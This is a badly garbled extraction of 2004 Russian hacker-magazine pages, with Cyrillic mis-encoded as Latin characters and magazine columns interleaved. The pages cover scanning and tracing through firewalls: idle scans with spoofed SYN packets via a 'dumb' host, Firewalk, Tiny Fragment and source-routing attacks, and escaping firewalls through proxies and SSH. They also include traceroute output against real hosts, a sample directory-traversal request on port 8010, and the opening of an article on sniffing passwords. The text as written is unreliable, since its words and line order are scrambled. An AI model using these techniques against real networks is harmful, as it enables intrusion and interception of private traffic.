                    èäåíòèôè-       îáðàçîì ïîñòóïàþò è íåêîòîðûå                  íàïðèìåð, www.zenon.ru.                äîì 13 (Admin Prohibited Filter) ñ
                    öèðîâàòü        ìàðøðóòèçàòîðû, îäíàêî, êàê óæå ãî-              Íà ýòîò ðàç òðàññèðîâêà ïðîõîäèò     äåéñòâèòåëüíûì IP-àäðåñîì áðàíäìà-
                    ñåáÿ.
                                    âîðèëîñü âûøå, ìåæäó ìàðøðóòèçà-               íîðìàëüíî. Âûõîäèò, ÷òî íèêàêîãî       óýðà â çàãîëîâêå (nmap åãî íå îòîáðà-
                                    òîðîì è ïàêåòíûì ôèëüòðîì íåò ïðèí-            áðàíäìàóýðà âîêðóã zenon'à íåò?        æàåò; ïèøè ñîáñòâåííûé ñêàíåð èëè,
                                    öèïèàëüíîé ðàçíèöû.                            Î÷åíü ìîæåò áûòü, íî äëÿ óâåðåííî-     èñïîëüçóÿ ëþáîé ñíèôåð, ñàìîñòîÿ-
                                     Îòñëåæèâàíèå ìàðøðóòà îáû÷íî                  ãî îòâåòà íàì òðåáóåòñÿ äîïîëíè-       òåëüíî ïðîàíàëèçèðóé âîçâðàùàå-
                                    îñóùåñòâëÿåòñÿ óòèëèòîé traceroute,            òåëüíàÿ èíôîðìàöèÿ. Óçåë               ìûé ïàêåò). Åñëè âîçâðàòèòñÿ
                    Áðàíäìàóý-      ïîääåðæèâàþùåé òðàññèðîâêó ÷åðåç               195.2.91.193 ïðèíàäëåæèò ñåòè êëàññà   SYN/ACK – ñêàíèðóåìûé ïîðò îòðûò.
                    ðû, îòêðû-
                    âàþùèå 53       ïðîòîêîëû ICMP è UDP, ïðè÷åì ICMP              Ñ (òðè ñòàðøèõ áèòà IP-àäðåñà ðàâíû    RST/ACK óêàçûâàåò íà çàêðûòûé èëè
                    ïîðò (ñëóæ-     áëîêèðóåòñÿ ãîðàçäî ÷àùå. Âûáðàâ               110), è, åñëè ýòà ñåòü íå çàùèùåíà     çàáëîêèðîâàííûé áðàíäìàóýðîì ïîðò.
                    áà DNS) íå
                    òîëüêî íà       óçåë, çàâåäîìî çàùèùåííûé áðàíä-               áðàíäìàóýðîì, áîëüøèíñòâî åå óç-       Íå âñå áðàíäìàóýðû ãåíåðèðóþò
                    ïðèåìíèêå       ìàóýðîì, ïîïðîáóåì îòñëåäèòü ê íåìó            ëîâ äîëæíî îòêëèêàòüñÿ íà ping, ÷òî    RST/ACK ïðè ïîïûòêå ïîäêëþ÷åíèÿ ê
                    (íàïðèìåð,
                    Check Point     ìàðøðóò êîìàíäîé traceroute –I                 â äàííîì ñëó÷àå è ïðîèñõîäèò. Ñêàíè-   çàáëîêèðîâàííûì ïîðòàì (Check Point
                    Firewall), íî   wwww.intel.ru.                                 ðîâàíèå âûÿâëÿåò 65 îòêðûòûõ àäðå-     Firewall – ãåíåðèðóåò), íåêîòîðûå îò-
                    è íà èñòî÷-      Ñìîòðè: òðàññèðîâêà äîõîäèò äî óç-            ñîâ. Ñëåäîâàòåëüíî, ëèáî ìàðøðóòè-     ñûëàþò ICMP-ñîîáùåíèå, êàê áûëî ïî-
                    íèêå, ïîçâî-
                    ëÿþò õàêå-      ëà 192.198.138.68, à çàòåì óìèðàåò, ÷òî        çàòîðà çäåñü íåò, ëèáî îí áåñïðåïÿò-   êàçàíî âûøå, èëè íè÷åãî íå ïîñûëà-
                    ðó ïðîñêà-      óêàçûâàåò ëèáî íà áðàíäìàóýð, ëèáî             ñòâåííî ïðîïóñêàåò íàø ping.           þò âîîáùå.
                    íèðîâàòü
                    âñþ âíóò-       íà íåäåìîêðàòè÷íûé ìàðøðóòèçàòîð.                Ïðè æåëàíèè ìîæíî ïîïðîáîâàòü          Áîëüøèíñòâî áðàíäìàóýðîâ ïîääåð-
                    ðåííþþ          ×óòü ïîçæå ìû ïîêàæåì, êàê ìîæíî               ïðîñêàíèðîâàòü ïîðòû, îäíàêî, âî-      æèâàåò óäàëåííîå óïðàâëåíèå ÷åðåç
                    ñåòü.
                                    ïðîíèêíóòü ñêâîçü íåãî, à ïîêà âûáå-           ïåðâûõ, íàëè÷èå îòêðûòûõ ïîðòîâ        èíòåðíåò, îòêðûâàÿ îäèí èëè íåñêîëü-
                                                                                                                          êî TCP-ïîðòîâ, óíèêàëüíûõ äëÿ êàæ-
                                                                                                                          äîãî áðàíäìàóýðà. Òàê, íàïðèìåð,
                                      ÓÑÏÅØÍÎÅ ÇÀÂÅÐØÅÍÈÅ ÒÐÀÑÑÈÐÎÂÊÈ ÅÙÅ ÍÅ ÅÑÒÜ                                         Check Point Firewall îòêðûâàåò 256,
                                                                                                                          257 è 258 ïîðòû, à Microsoft Proxy –
                    Óÿçâèìîñòü        ÑÂÈÄÅÒÅËÜÑÒÂÎ ÎÒÑÓÒÑÒÂÈß ÁÐÀÍÄÌÀÓÝÐÀ                                                1080. Íåêîòîðûå áðàíäìàóýðû ÿâíûì
                    ïðîãðàì-
                    ìíûõ ïðîê-                                                                                            îáðàçîì ñîîáùàþò ñâîå èìÿ è âåðñèþ
                    ñè â îáùåì         $traceroute –I www.zenon.ru                                                        ïðîãðàììíîãî ïðîäóêòà ïðè ïîäêëþ-
                    ñëó÷àå íå-         Òðàññèðîâêà ìàðøðóòà ê distributed.zenon.net [195.2.91.103]                        ÷åíèè ê íèì ïî netcat (èëè telnet), â
                    âåëèêà, è â
                    îñíîâíîì           ñ ìàêñèìàëüíûì ÷èñëîì ïðûæêîâ 30:                                                  îñîáåííîñòè ýòèì ãðåøàò ïðîêñè-ñåð-
                    îíè àòàêó-
                    þòñÿ ÷åðåç                                                                                            âåðà. Ïîñëåäîâàòåëüíî îïðàøèâàÿ
                    îøèáêè ïå-           1 2444 ms 1632 ms 1642 ms 62.183.0.180                                           âñå óçëû, ðàñïîëîæåííûå âïåðåäè èñ-
                    ðåïîëíåíèÿ           2 1923 ms 1632 ms 1823 ms 62.183.0.220                                           ñëåäóåìîãî õîñòà, íà ïðåäìåò ïðîñëó-
                    áóôåðà.              3 1632 ms 1603 ms 1852 ms 217.106.16.52                                          øèâàíèÿ õàðàêòåðíûõ äëÿ áðàíäìàóý-
                                         4 1693 ms 1532 ms 1302 ms aksai-bbn0-po2-2.rt-comm.ru [217.106.7.25]             ðîâ ïîðòîâ, ìû â áîëüøèíñòâå ñëó÷à-
                                         5 1642 ms 1603 ms 1642 ms 217.106.7.93                                           åâ ñìîæåò íå òîëüêî âûÿâèòü èõ ïðè-
                                         6 1562 ms 1853 ms 1762 ms msk-bgw1-ge0-3-0-0.rt-comm.ru [217.106.7.194]          ñóòñòâèå, íî è îïðåäåëèòü IP-àäðåñ!
                                         7 1462 ms 411 ms 180 ms mow-b1-pos1-2.telia.net [213.248.99.89]                  Ðàçóìååòñÿ, ýòè ïîðòû ìîãóò áûòü çàê-
                                         8 170 ms 180 ms 160 ms mow-b2-geth2-0.telia.net [213.248.101.18]                 ðûòû êàê íà ñàìîì áðàíäìàóýðå
                                         9 160 ms 160 ms 170 ms 213.248.78.178                                            (ïðàâäà, íå âñå áðàíäìàóýðû ýòî ïîç-
                                        10 160 ms 151 ms 180 ms 62.113.112.67                                             âîëÿþò), òàê è íà ïðåäøåñòâóþùåì
                                        11 181 ms 160 ms 170 ms css-rus2.zenon.net [195.2.91.103]                         åìó ìàðøðóòèçàòîðå (íî òîãäà áðàíä-
                                       Òðàññèðîâêà çàâåðøåíà.                                                             ìàóýðîì áóäåò íåëüçÿ óïðàâëÿòü ÷å-
                                                                                                                          ðåç èíòåðíåò).
                                     ÕÀÊÅÐÑÏÅÖ   10(47)   2004
 Ñòðóêòóðà IP-ïàêåòà


ÑÊÀÍÈÐÎÂÀÍÈÅ È                           ñâîé ñ÷åò÷èê ID íà åäèíèöó. Îòïðàâèâ
ÒÐÀÑÑÈÐÎÂÊÀ ×ÅÐÅÇ                        íåìîìó õîñòó åùå îäèí IP-ïàêåò è ïðî-
ÁÐÀÍÄÌÀÓÝÐ                               àíàëèçèðîâàâ âîçâðàùåííûé ID, ìû
    Ïðÿìàÿ òðàññèðîâêà ÷åðåç áðàíä-      ñìîæåì óçíàòü, ïîñûëàë ëè íåìîé
ìàóýð ÷àùå âñåãî îêàçûâàåòñÿ íåâîç-      õîñò æåðòâå RST-ïàêåò èëè íåò. Åñëè
ìîæíîé (êàêîìó àäìèíèñòðàòîðó ïðè-       ïîñûëàë, çíà÷èò, àòàêóåìûé õîñò àêòè-
ÿòíî ðàñêðûâàòü èíòèìíûå ïîäðîá-         âåí è ïîäòâåðæäàåò óñòàíîâêó TCP-ñî-
íîñòè òîïîëîãèè ñâîèõ ñåòåé), è àòàêó-   åäèíåíèÿ íà çàäàííûé ïîðò. Ïðè æå-
þùåìó ïðèõîäèòñÿ ïðèáåãàòü ê âñå-        ëàíèè õàêåð ìîæåò ïðîñêàíèðîâàòü
âîçìîæíûì óõèùðåíèÿì.                    âñå èíòåðåñóþùèå åãî ïîðòû, íå ðèñ-
  Óòèëèòà Firewalk ïðåäñòàâëÿåò ñîáîé    êóÿ îêàçàòüñÿ çàìå÷åííûì, âåäü âû-
êëàññè÷åñêèé òðàññåð, ïîñûëàþùèé         ÷èñëèòü åãî IP ïðàêòè÷åñêè íåâîçìîæ-
TCP- èëè UDP-ïàêåòû, ñ òàêèì ðàñ÷åòîì,   íî – ñêàíèðîâàíèå îñóùåñòâëÿåòñÿ
÷òîáû íà óçëå, ñëåäóþùåì íåïîñðåä-       "ðóêàìè" íåìîãî óçëà è ñ òî÷êè çðåíèÿ
ñòâåííî çà áðàíäìàóýðîì, èõ TTL îáðà-    àòàêóåìîãî âûãëÿäèò êàê îáû÷íîå
ùàëñÿ â íîëü, çàñòàâëÿÿ ñèñòåìó ãåíå-    SYN-ñêàíèðîâàíèå.
ðèðîâàòü ñîîáùåíèå                         Ïðåäïîëîæèì, ÷òî íåìîé õîñò ðàñïî-
ICMP_TIME_EXCEEDED. Áëàãîäàðÿ ýòî-       ëîæåí âíóòðè DMZ, à æåðòâà íàõîäèò-
ìó Firewalk óâåðåííî ðàáîòàåò äàæå       ñÿ âíóòðè êîðïîðàòèâíîé ñåòè. Òîãäà,
òàì, ãäå øòàòíûå ñðåäñòâà óæå íå         îòïðàâèâ íåìîìó õîñòó SYN-ïàêåò îò
ñïðàâëÿþòñÿ, õîòÿ êðåïêî çàùèùåííûé      èìåíè æåðòâû, ìû ñìîæåì ïðîíèê-
áðàíäìàóýð åé, êîíå÷íî, íå ïðîáèòü è     íóòü ÷åðåç áðàíäìàóýð, ïîñêîëüêó îí
àòàêóþùåìó ïðèõîäèòñÿ èñïîëüçîâàòü       áóäåò äóìàòü, ÷òî ñ íèì óñòàíàâëèâà-
áîëåå ïðîäâèíóòûå àëãîðèòìû.             åò ñîåäèíåíèå âíóòðåííèé õîñò, à ñîå-
  Áóäåì èñõîäèòü èç òîãî, ÷òî ñ êàæ-     äèíåíèÿ ýòîãî òèïà â 99,9% ñëó÷àÿõ
äûì îòïðàâëÿåìûì IP-ïàêåòîì ñèñòåìà      ðàçðåøåíû (åñëè èõ çàïðåòèòü, ïîëü-
óâåëè÷èâàåò åãî ID íà åäèíèöó (êàê       çîâàòåëè êîðïîðàòèâíîé ñåòè íå ñìî-
ýòî ÷àùå âñåãî è ñëó÷àåòñÿ). Ñ äðóãîé    ãóò ðàáîòàòü ñî ñâîèì æå ñîáñòâåííû-
ñòîðîíû, ñîãëàñíî ñïåöèôèêàöèè RFC-      ìè ïóáëè÷íûìè ñåðâåðàìè). Åñòåñò-
793, îïèñûâàþùåé TCP-ïðîòîêîë, âñÿ-      âåííî, âñå ìàðøðóòèçàòîðû íà ïóòè
êèé õîñò, ïîëó÷èâøèé ïîñòîðîííèé ïà-     îò õàêåðà ê íåìîìó õîñòó íå äîëæíû
êåò, êîòîðûé íå îòíîñèòñÿ ê óñòàíîâ-     áëîêèðîâàòü ïàêåò ñ ïîääåëüíûì îá-
ëåííûì TCP-ñîåäèíåíèÿì, äîëæåí ðå-       ðàòíûì àäðåñîì, â ïðîòèâíîì ñëó÷àå
àãèðîâàòü íà íåãî ïîñûëêîé RST. Äëÿ      ïàêåò óìðåò çàäîëãî äî òîãî, êàê äîáå-
ðåàëèçàöèè àòàêè íàì ïîíàäîáèòñÿ         ðåòñÿ äî ìåñòà íàçíà÷åíèÿ.
óäàëåííûé óçåë, íå îáðàáàòûâàþùèé          Óòèëèòà hping êàê ðàç è ðåàëèçóåò
â äàííûé ìîìåíò íèêàêîãî ïîñòîðîí-       ñöåíàðèé ñêàíèðîâàíèÿ äàííîãî òèïà,
íåãî òðàôèêà è ãåíåðèðóþùèé ïðåäñ-       ÷òî äåëàåò åå îñíîâíûì îðóäèåì çëî-
êàçóåìóþ ïîñëåäîâàòåëüíîñòü ID. Â        óìûøëåííèêà äëÿ èññëåäîâàíèÿ êîð-
õàêåðñêèõ êðóãàõ òàêîé óçåë íàçûâàåò-    ïîðàòèâíûõ ñåòåé, îãðàæäåííûõ
ñÿ íåìûì (dump). Îáíàðóæèòü íåìîé        áðàíäìàóýðîì.
õîñò î÷åíü ïðîñòî – äîñòàòî÷íî ëèøü        Êàê âàðèàíò, õàêåð ìîæåò çàõâàòèòü
îòïðàâèòü åìó ñåðèþ IP-ïàêåòîâ è ïðî-    îäèí èç óçëîâ, ðàñïîëîæåííûõ âíóò-
àíàëèçèðîâàòü ID, âîçâðàùåííûé â         ðè DMZ, èñïîëüçóÿ èõ êàê ïëàöäàðì
çàãîëîâêàõ. Çàïîìíèì (çàïèøåì íà áó-     äëÿ äàëüíåéøèõ àòàê.
ìàæêó) ID ïîñëåäíåãî ïàêåòà. Çàòåì
âûáåðåì æåðòâó è îòïðàâèì åé SYN-        ÏÐÎÍÈÊÍÎÂÅÍÈÅ ×ÅÐÅÇ
ïàêåò, óêàçàâ â îáðàòíîì àäðåñå IP íå-   ÁÐÀÍÄÌÀÓÝÐ
ìîãî óçëà. Àòàêóåìûé óçåë, äóìàÿ, ÷òî       Ñáîðêó ôðàãìåíòèðîâàííûõ TCP-
íåìîé õîñò õî÷åò óñòàíîâèòü ñ íèì        ïàêåòîâ ïîääåðæèâàþò òîëüêî ñàìûå
TCP-ñîåäèíåíèå, îòâåòèò: SYN/ACK.        êà÷åñòâåííûå èç áðàíäìàóýðîâ, à âñå
Íåìîé õîñò, ñëîâèâ ïîñòîðîííèé           îñòàëüíûå àíàëèçèðóþò ëèøü ïåðâûé
SYN/ACK, âîçâðàòèò RST, óâåëè÷èâàÿ       ôðàãìåíò, áåñïðåïÿòñòâåííî ïðîïóñ- »
                                    26     ÂÇËÎÌ           ÑÒÅÍÊÀ ÂÑÌßÒÊÓ

                                                                                                                    ìûå òåáå ïîðòû.  êëèíè÷åñêèõ ñëó÷à-
                                                                                                                    ÿõ àäìèíèñòðàòîðû âåäóò ÷åðíûå
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                                                                                                    ñïèñêè IP-àäðåñîâ, áëîêèðóÿ äîñòóï ê
                                                                                                                    ñàéòàì "íåöåëåñîîáðàçíîé" òåìàòèêè.
                                                                                                                      Ïîñêîëüêó áðàíäìàóýðû ðàññ÷èòà-
                                                                                                                    íû íà çàùèòó èçâíå, à íå èçíóòðè,
                                                                                                                    âûðâàòüñÿ èç-çà èõ çàñòåíêîâ î÷åíü
                                                                                                                    ïðîñòî, äîñòàòî÷íî ëèøü âîñïîëü-
                                                                                                                    çîâàòüñÿ ëþáûì ïîäõîäÿùèì ïðîê-
                                                                                                                    ñè-ñåðâåðîì, íàõîäÿùèìñÿ âî âíåø-
                                                                                                                    íåé ñåòè è åùå íå çàíåñåííûì àä-
                                                                                                                    ìèíèñòðàòîðîì â ÷åðíûé ñïèñîê. Â
                                                                                                                    ÷àñòíîñòè, ïîïóëÿðíûé êëèåíò ICQ
                                                                                                                    ïîçâîëÿåò îáìåíèâàòüñÿ ñîîáùåíè-
                                                                                                                    ÿìè íå íàïðÿìóþ, à ÷åðåç ñåðâåð
                                                                                                                    (íå îáÿçàòåëüíî ñåðâåð êîìïàíèè-
                                                                                                                    ðàçðàáîò÷èêà). Ñóùåñòâóþò òûñÿ÷è
                                   Ñòðóêòóðà TCP-ïàêåòà                                                             ñåðâåðîâ, ïîääåðæèâàþùèõ ðàáîòó
                                                                                                                    ICQ. Îäíè ñóùåñòâóþò â áîëåå èëè
                                                                                                                    ìåíåå íåèçìåííîì âèäå óæå íåñ-
                                  êàÿ âñå îñòàëüíûå. Ïîñëàâ ñèëüíî          èãíîðèðóåòñÿ, è òðàåêòîðèÿ ïåðåìåùå-    êîëüêî ëåò, äðóãèå äèíàìè÷åñêè òî
                                  ôðàãìåíòèðîâàííûé TCP-ïàêåò, "ðàç-        íèÿ ïàêåòà îïðåäåëÿåòñÿ èñêëþ÷è-        ïîÿâëÿþòñÿ, òî èñ÷åçàþò. È åñëè
                                  ìàçûâàþùèé" TCP-çàãîëîâîê ïî íåñ-         òåëüíî ïðîìåæóòî÷íûìè ìàðøðóòèçà-       "äîëãîæèòåëåé" åùå ðåàëüíî çàíåñ-
                                  êîëüêèì IP-ïàêåòàì, õàêåð ñêðîåò îò       òîðàìè, íî îòâåòíûå ïàêåòû âîçâðà-      òè â ñòîï-ëèñò, òî óñëåäèòü çà ñåð-
                                  áðàíäìàóýðà Acknowledgment Number         ùàþòñÿ ïî ìàðøðóòó, îáðàòíîìó óêà-      âåðàìè-îäíîäíåâêàìè àäìèíèñòðà-
                                  è îí íå ñìîæåò îïðåäåëèòü ïðèíàä-         çàííîìó â IP-çàãîëîâêå, ÷òî ñîçäàåò     òîð ïðîñòî íå â ñîñòîÿíèè!
                                  ëåæíîñòü TCP-ïàêåòà ê ñîîòâåòñòâóþ-       áëàãîïðèÿòíûå óñëîâèÿ äëÿ åãî ïîä-        Òàêæå ìîæíî âîñïîëüçîâàòüñÿ
                    Íåêîòîðûå
                    áðàíäìàóý-    ùåé åìó TCP-ñåññèè (áûòü ìîæåò, îí        ìåíû. Áîëåå óïðîùåííûé âàðèàíò àòà-     ïðîòîêîëîì SSH (Secure Shell), èç-
                    ðû ïîäâåð-    îòíîñèòñÿ ê ëåãàëüíîìó ñîåäèíåíèþ,        êè îãðàíè÷èâàåòñÿ îäíîé ëèøü ïîäìå-     íà÷àëüíî ñïðîåêòèðîâàííûì äëÿ
                    æåíû íåñà-
                    íêöèîíèðî-    óñòàíîâëåííîìó êîðïîðàòèâíûì              íîé IP-àäðåñà îòïðàâèòåëÿ. Ãðàìîòíî     ðàáîòû ÷åðåç áðàíäìàóýð è ïîääåð-
                    âàííîìó       ïîëüçîâàòåëåì). Åñëè òîëüêî íà            íàñòðîåííûå ìàðøðóòèçàòîðû (è           æèâàþùèì øèôðîâàíèå òðàôèêà
                    ïðîñìîòðó
                    ôàéëîâ ÷å-    áðàíäìàóýðå íå àêòèâèðîâàíà îïöèÿ         áîëüøèíñòâî êëîíîâ UNIX) áëîêèðóþò      (íà òîò ñëó÷àé, åñëè áðàíäìàóýð
                    ðåç ïîðò      "ðåçàòü ôðàãìåíòèðîâàííûå ïàêåòû",        ïàêåòû ñ âíóòðåííåé ìàðøðóòèçàöèåé.     âçäóìàåò èñêàòü â íåì "çàïðåùåí-
                    8010 è çàï-   óñïåõ õàêåðñêîé îïåðàöèè ãàðàíòèðî-       Ïàêåòû ñ ïîääåëüíûìè IP-àäðåñàìè        íûå" ñëîâà òèïà "sex", "hack" è ò.ä.).
                    ðîñû òèïà
                    http://www.   âàí. Áëîêèðîâàíèå ôðàãìåíòèðîâàí-         ïðåäñòàâëÿþò íåñêîëüêî áîëüøóþ          SSH-ïðîòîêîë ìîæåò ðàáîòàòü ïî
                    host.com::8   íûõ ïàêåòîâ ñîçäàåò ìíîæåñòâî ïðîá-       ïðîáëåìó, îäíàêî êà÷åñòâåííûé           ëþáîìó äîñòóïíîìó ïîðòó, íàïðè-
                    010/c:/ èëè
                    http://www.   ëåì è ïðåïÿòñòâóåò íîðìàëüíîé ðàáî-       áðàíäìàóýð ïîçâîëÿåò îòñåèâàòü è èõ.    ìåð, 80, è òîãäà ñ òî÷êè çðåíèÿ
                    host.com::8   òå ñåòè. Òåîðåòè÷åñêè âîçìîæíî áëî-         Òàáëèöû ìàðøðóòèçàöèè ìîãóò áûòü      áðàíäìàóýðà âñå áóäåò âûãëÿäåòü
                    010//.
                                  êèðîâàòü ëèøü ïàêåòû ñ ôðàãìåíòè-         äèíàìè÷åñêè èçìåíåíû ïîñûëêîé ñî-       êàê ëåãàëüíàÿ ðàáîòà ñ WEB-ñåðâå-
                                  ðîâàííûì TCP-çàãîëîâêîì, îäíàêî äà-       îáùåíèÿ ICMP Redirect, ÷òî ïîçâîëÿ-     ðîì. Ìåæäó òåì, SSH ÿâëÿåòñÿ ëèøü
                                  ëåêî íå âñÿêèé áðàíäìàóýð ïîääåð-         åò (ïî êðàéíåé ìåðå, òåîðåòè÷åñêè)      ôóíäàìåíòîì äëÿ îñòàëüíûõ ïðîòî-
                                  æèâàåò ñòîëü ãèáêóþ ïîëèòèêó íàñò-        íàïðàâèòü õàêåðñêèé òðàôèê â îáõîä      êîëîâ, èç êîòîðûõ â ïåðâóþ î÷å-
                                  ðîéêè. Àòàêè äàííîãî òèïà, íàçûâàå-       áðàíäìàóýðà (ñì. òàêæå ARP-spoofing),   ðåäü õîòåëîñü áû îòìåòèòü telnet,
                    Ñëóæáà        ìûå Tiny Fragment Attack, îáëàäàþò        âïðî÷åì, ñåé÷àñ òàêèå áåçíàäåæíî        îáåñïå÷èâàþùèé âçàèìîäåéñòâèå ñ
                    DCOM íóæ-
                    äàåòñÿ â      ÷ðåçâû÷àéíî ìîùíîé ïðîíèêàþùåé            èíñåêüþðíûå ñèñòåìû ïðàêòè÷åñêè         óäàëåííûìè òåðìèíàëàìè. Çàïëàòèâ
                    øèðîêîì       ñïîñîáíîñòüþ è ïîòîìó ÿâëÿþòñÿ èç-        óæå íå âñòðå÷àþòñÿ.                     ïîðÿäêà 20$ çà õîñòèíã ëþáîìó
                    äèàïàçîíå
                    îòêðûòûõ      ëþáëåííûì ïðèåìîì âñåõ õàêåðîâ.                                                   ïðîâàéäåðó, òû ïîëó÷èøü àêêàóíò,
                    ïîðòîâ, ÷òî    Àòàêè ñ èñïîëüçîâàíèåì âíóòðåííåé        ÏÎÁÅÃ ÈÇ-ÇÀ ÁÐÀÍÄÌÀÓÝÐÀ                 ïîääåðæèâàþùèé SSH è ïîçâîëÿþ-
                    ñóùåñòâåí-    ìàðøðóòèçàöèè (îíà æå ìàðøðóòèçà-             Ïîëüçîâàòåëè âíóòðåííåé ñåòè,       ùèé óñòàíàâëèâàòü ñîåäèíåíèÿ ñ
                    íî ñíèæàåò
                    ñòåïåíü çà-   öèÿ îò èñòî÷íèêà, èëè source routing)     îãðàæäåííîé íåäåìîêðàòè÷íûì             äðóãèìè óçëàìè ñåòè (áåñïëàòíûå
                    ùèùåííîñ-     íàìíîãî ìåíåå àêòóàëüíû, íî ìû âñå        áðàíäìàóýðîì, ñåðüåçíî îãðàíè÷åíû       õîñòèíãè ýòîé âîçìîæíîñòè ÷àùå
                    òè ñèñòåìû,
                    îáåññìûñ-     æå èõ ðàññìîòðèì. Êàê èçâåñòíî, IP-       â ñâîèõ âîçìîæíîñòÿõ. Ïðî íåâîç-        âñåãî ëèøåíû èëè íàêëàäûâàþò íà
                    ëèâàÿ èñ-     ïðîòîêîë ïîçâîëÿåò âêëþ÷àòü â ïàêåò       ìîæíîñòü ðàáîòû ñ FTP-ñåðâåðàìè â       íåå æåñòêèå îãðàíè÷åíèÿ).
                    ïîëüçîâàíèå
                    áðàíäìàóý-    èíôîðìàöèþ î ìàðøðóòèçàöèè. Ïðè           àêòèâíîì ðåæèìå ìû óæå ãîâîðèëè.          Íàêîíåö, ìîæíî âîñïîëüçîâàòüñÿ
                    ðà.           îòïðàâêå IP-ïàêåòà æåðòâå íàâÿçàííàÿ      Òàêæå ìîãóò áûòü çàïðåùåíû íåêîòî-      ñîòîâîé òåëåôîíèåé, ïðÿìûì ìîäåì-
                                  õàêåðîì ìàðøðóòèçàöèÿ ÷àùå âñåãî          ðûå ïðîòîêîëû è çàêðûòû íåîáõîäè-       íûì ïîäêëþ÷åíèåì è ïðî÷èìè êîììó-
                                                                                                                    íèêàöèîííûìè ñðåäñòâàìè, óñòàíàâ-
                                                                                                                    ëèâàþùèìè ñîåäèíåíèå ñ ïðîâàéäå-
                                                                                                                    ðîì, â îáõîä áðàíäìàóýðà.

                                                                                                                    ÇÀÊËÞ×ÅÍÈÅ
                                                                                                                        Òåõíîëîãèè ïîñòðîåíèÿ áðàíäìàó-
                                                                                                                    ýðîâ íå ñòîÿò íà ìåñòå, è ñïåöèàëèñòû
                                                                                                                    ïî èíôîðìàöèîííîé áåçîïàñíîñòè íå
                                                                                                                    äðåìëþò. Ñ êàæäûì äíåì õàêåðñòâî-
                                                                                                                    âàòü ñòàíîâèòñÿ âñå òðóäíåå è òðóä-
                                                                                                                    íåå, îäíàêî ïîëíîñòüþ õàêåðñòâî íå
                                                                                                                    èñ÷åçíåò íèêîãäà. Âåäü íà ñìåíó çàòê-
                                                                                                                    íóòûì äûðàì ïðèõîäÿò äðóãèå. Ãëàâ-
                                                                                                                    íîå, íå ñèäåòü ñëîæà ðóêè, à òâîð÷åñ-
                                                                                                                    êè ýêñïåðèìåíòèðîâàòü ñ áðàíäìàóý-
                                                                                                                    ðàìè, èçó÷àòü ñòàíäàðòû è ñïåöèôè-
                                                                                                                    êàöèè, èçó÷àòü äèçàññåìáëåðíûå ëèñ-
                                   Ôðàãìåíòàöèÿ TCP-ïàêåòîâ êàê ñïîñîá îáõîäà áðàíäìàóýðîâ                          òèíãè è èñêàòü, èñêàòü, èñêàòü… E
                                   ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                     28     ÂÇËÎÌ          ÐÛÁÍÀß ËÎÂËß Â ËÎÊÀËÜÍÎÉ ÑÅÒÈ

                         Êðèñ Êàñïåðñêè aka ìûùúõ




                         ÐÛÁÍÀß ËÎÂËß
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                         Â ËÎÊÀËÜÍÎÉ ÑÅÒÈ
                         ÂÑÅ ÀÑÏÅÊÒÛ ÑÍÈÔÈÍÃÀ ÏÎÄ *NIX
                             åòåâîé òðàôèê ñîäåðæèò óéìó èíòåðåñíîãî - ïàðîëè, íîìåðà           êàðò,
                         Ñ ýòî ìîæåòèíòåðåñíîå, íàñêîëüêî è íåáåçîïàñíîå. Ïîïóëÿðíûåêðåäèòíûõ íèêàê êîíôèäåíöèàëüíóþ ïåðåïèñêó, è âñå
                         íàñòîëüêî æå
                                       ñòàòü äîñòîÿíèåì çëîóìûøëåííèêà, åñëè òîò çàáðîñèò â ñåòü ñíèôåð. Ïåðåõâàò èíôîðìàöèè – çàíÿòèå
                                                                                      ñíèôåðû         íå ñêðûâàþò ñâîåãî ïðèñóòñòâèÿ è
                         ëåãêî îáíàðóæèâàþòñÿ àäìèíèñòðàòîðàìè. Òåì, êòî îïàñàåòñÿ ðàñïðàâû, ìû ìîæåì ïîñîâåòîâàòü òîëüêî îäíî - íå
                         çàíèìàòüñÿ ïîäîáíûìè âåùàìè. Íó à íåóãîìîííûì ýêñïåðèìåíòàòîðàì ëó÷øå íàïèñàòü ñâîé ñîáñòâåííûé ñíèôåð, è ýòà
                         ñòàòüÿ ïîäñêàæåò êàê.


                                                   ÖÅËÈ È ÌÅÒÎÄÛ            áåñïðîâîäíûå ñðåäñòâà ñâÿçè (ÈÊ,         êàæäûé âûõîä õàáà è ãðàáÿòñÿ ïî òîé


                                     »             ÀÒÀÊÈ
                                                      Ñíèôåðîì (îò àíãë.
                                                  sniff – âûíþõèâàòü) íà-
                                                  çûâàþò óòèëèòû äëÿ
                                   ïåðåõâàòà ñåòåâîãî òðàôèêà, àäðåñî-
                                                                            «ãîëóáîé çóá») è ò.ä. Â îñíîâíîì ìû
                                                                            áóäåì ãîâîðèòü î ëîêàëüíûõ ñåòÿõ, à
                                                                            âñå îñòàëüíûå îáúåêòû ðàññìîòðèì
                                                                            ëèøü êðàòêî, òàê êàê îíè òðåáóþò ñîâ-
                                                                            ñåì äðóãîãî ïîäõîäà.
                                                                                                                     æå ñàìîé ñõåìå. Êîììóòàòîð, ñàìîñòî-
                                                                                                                     ÿòåëüíî àíàëèçèðóþùèé çàãîëîâêè
                                                                                                                     ïàêåòîâ è äîñòàâëÿþùèé èõ òîëüêî
                                                                                                                     òåì óçëàì, äëÿ êîòîðûõ îíè ïðåäíàç-
                                                                                                                     íà÷åíû, ïðåäîòâðàùàåò ïàññèâíûé
                                   âàííîãî äðóãîìó óçëó, èëè - â áîëåå       Ïî ìåòîäó âîçäåéñòâèÿ íà æåðòâó         ïåðåõâàò, âûíóæäàÿ àòàêóþùåãî ïå-
                                   îáùåì ñëó÷àå – âñåãî äîñòóïíîãî          ñóùåñòâóþùèå àòàêè ìîæíî ðàçäå-          ðåõîäèòü ê àêòèâíûì äåéñòâèÿì.
                                   òðàôèêà, ïðîõîäÿùåãî èëè íå ïðîõî-       ëèòü íà äâà òèïà: ïàññèâíûå è àêòèâ-       Òàêèì îáðàçîì, äëÿ ðåàëèçàöèè ïàñ-
                    Áîëüøèí-       äÿùåãî ÷åðåç äàííûé õîñò. Áîëüøèí-       íûå. Ïàññèâíûé ñíèôèíã ïîçâîëÿåò         ñèâíîãî ñíèôèíãà ìû äîëæíû ïåðå-
                    ñòâî ñíèôå-    ñòâî ñíèôåðîâ ïðåäñòàâëÿþò ñîáîé         ïåðåõâàòûâàòü ëèøü òó ÷àñòü òðàôè-       âåñòè ñåòåâóþ êàðòó â íåðàçáîð÷è-
